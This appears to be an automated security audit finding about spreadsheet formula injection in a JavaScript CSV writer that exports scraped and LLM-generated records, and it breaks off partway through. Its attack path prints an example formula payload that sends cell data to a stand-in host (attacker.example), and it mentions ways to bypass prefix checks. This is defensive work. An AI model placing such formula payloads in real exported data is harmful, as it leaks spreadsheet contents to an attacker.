T09 · Insecure Skill Coding Practices
Warning
- Location
src/utils/excel.js:31- Finding
Spreadsheet Formula Injection in Generated CSV Files
- Content
View full analysis
h.title).join(','); fs.writeFileSync(filePath, '\uFEFF' + headerLine + '\n', 'utf-8'); // 追加数据行（所有字段统一加双引号，避免逗号/换行/中文引号导致列错位） if (records.length > 0) { const dataLines = records.map(r => { return headers.map(h => { const val = r[h.id] == null ? '' : String(r[h.id]); return `"${val.replace(/"/g, '""')}"`; }).join(','); }).join('\n'); fs.appendFileSync(filePath, dataLines + '\n', 'utf-8'); } ``` ### Technical Analysis The CSV writer escapes quotation marks and surrounds every value with double quotes, but it does not neutralize spreadsheet formula prefixes. Spreadsheet applications may interpret a cell as a formula when its value begins with `=`, `+`, `-`, or `@`, including when the value is quoted in a CSV file. Leading tab or carriage-return characters can also be used to bypass simplistic prefix checks. The affected records may contain data derived from scraped Tianyancha pages, imported third-party spreadsheets, and LLM-generated fields. For example, `src/extract_cases.js:471-493` assigns LLM output directly to record fields that are subsequently passed to `writeCsv()`. The documented workflow instructs researchers to open and manually review generated CSV files. Consequently, this issue crosses a trust boundary from untrusted web or model content into spreadsheet software. ### Attack Path 1. An attacker places a formula-like string in a bidding announcement or another imported source field, such as: `=HYPERLINK("https://attacker.example/collect?data="&A1,"Open")` 2. The crawler imports that text, or the LLM reproduces it in a structured output field. 3. The affected value is written to `extract_results.csv`, `review_sheet.csv`, an ingestion CSV, or another generated CSV. 4. `writeCsv()` quotes the v ...[truncated 1071 chars]- Remediation
View remediation